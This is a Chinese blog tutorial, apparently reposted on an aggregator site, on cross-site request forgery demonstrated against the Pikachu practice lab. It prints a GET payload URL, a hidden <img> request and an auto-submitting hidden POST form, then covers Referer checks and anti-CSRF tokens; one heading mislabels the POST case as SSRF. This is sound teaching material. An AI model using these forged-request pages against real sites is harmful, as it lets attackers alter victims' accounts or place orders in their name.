IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CSRF漏洞 -> 正文阅读

[PHP知识库]CSRF漏洞

跨站请求伪造(CSRF)的攻击方式简单理解就是:攻击者盗用了用户的身份,以用户身份向客户端发送请求并被执行。造成的后果有:以用户名义发送信息,或者是修改信息、发送购物请求等。

CSRF的原理

在用户登录网页时,服务器往往会生成一个cookie,在服务器内部,记下了客户端的ip,当客户端的ip带着这个cookid再一次访问该网页时,用户就不需要重复登录操作了,一进入网页就是登录状态,而当生成的cookie时间到期时,用户再一次访问就又需要登录了。

CSRF漏洞就是黑客在用户的cookie未到期之前,让用户点击一个url,然后黑客在网页中放置恶意代码,从而向攻击网站发送请求。

CSRF实战(GET)

光说原理可能有点儿绕,直接本地搭建靶场来理解(pikachu 靶场)。

这里有一个用户登录后修改个人信息的网页,

在这里插入图片描述
当我们把信息修改后,提交抓包观察后发现,就是简单的通过get传入信息,进行修改

在这里插入图片描述
那么我们可以构造一个payload

http://192.168.0.126/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=123&phonenum=456&add=789&email=456&submit=submit

这是一串url,当一个啥也不懂的小白在自己登录账号后,并且cooie为过期的情况下点击了这个连接,那么他的信息就已经被修改了,这种方式 太明显了,稍微懂一点网络安全的人通过判断url?后面的那串字符都不会点击

然而道高一尺魔高一丈,假如黑客自己在服务器上搭建了一个网页,假设域名就是www.abcd113.com,看着很正常对吧,然而网页内部有这么一串代码,当用户点击网页后,这串代码就自动执行了

<img src=http://192.168.0.126:8081//pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=ss&add=789&email=456&submit=submit>

这里我建立了一个1.html

在这里插入图片描述

打开网页后发现啥也没有,但是此时网页已经以用户身份给攻击网站发送了请求,个人信息已经被修改了,通过这种方式就可以做到神不知鬼不觉,被修改后用户自己甚至还察觉不到原因。

在这里插入图片描述
在这里插入图片描述

以上的方式是通过GET方式进行跨站请求,简单的甚至不需要自己搭建网站就能够完成攻击

SSRF POST

上面我们是通过get 的方式达到跨站请求效果,这次如果服务器使用POST来接收修改信息,我们同样可以使用通过建立网站,内部创造一个表单达到攻击目的。

这次通过抓包,发现是POST提交方式
在这里插入图片描述

但这样同样有攻击漏洞,攻击者同样可以创造一个www.abcd123.com域名的网站

在网站内部可以加入以下表单

 <html>
 <head>
 <script>
 window.onload = function() {
   document.getElementById("postsubmit").click();
 }
 </script>
 </head>
 <body>
 <form method="post" action="http://192.168.0.126:8081/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
     <input id="sex" type="hidden" name="sex" value="boy" />
     <input id="phonenum" type="hidden" name="phonenum" value="54213" />
     <input id="add" type="hidden" name="add" value="hacker" />
     <input id="email" type="hidden" name="email" value="sdsd" />
     <input id="postsubmit" type="submit" name="submit" value="submit" />
 </form>
 </body>
 </html>


当用户点击这个url,也就是www.abc123.com时,网站同样也会遭受攻击

如何防范CSRF

简单讲述了什么是CSRF,接下来重点便是怎么防护
从上面案例也知道,当修改信息时,如果不做任何防护手段很容易被恶意修改。倘若是购物软件,甚至可以利用该漏洞达到请求下单的目的。

那么如何防范有下面这几个方式

  1. 验证HTTP Referer来源
    在HTTP报文中,Referer是用来记录这条报文的请求地址,假如我们是银行,当用户提交转账申请时,可以追溯报文中的Referer,设置一个白名单,仅允许来源是银行的URL来请求申请,防止第三方黑客网页,跨站请求。
  2. POST提交
    同样假设我们是银行服务器,上个方法追溯到了Referer的来源,基本屏蔽了大部分的跨站请求,但是这种方法就相当于把安全交给了HTTP协议,自身网页仍然是有漏洞。有些公司,为了防止内网某些信息泄露,甚至在浏览器上拒绝提供Refer(现在浏览器是有拒绝Refer选项的),若是网页收到这些没有Refer的用户的请求,自动认为是CSRF攻击,这种方法终究不是最保险的。
  3. 在请求地址种加入token
    我的理解是,当用户获取一个表单,比如说打开了银行的转账界面,这时银行会先生成一个随机的Token值,然后把页面返回给用户,当用户提交申请时就会自动带着这个token值,服务器会拦截这个token值然后二者比对,相同后才会执行用户请求,由于token是随机的,黑客也不容易伪造。

下面是我觉得写的特别好的两篇关于CSRF的博客(别人大佬写的)

这一篇把CSRF原理讲的特别地透
浅析CSRF攻击方式

这一篇我认为关于如何防范CSRF漏洞讲的特别好
CSRF攻击与防御

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-23 11:13:30  更:2021-09-23 11:14:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 3:59:58-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计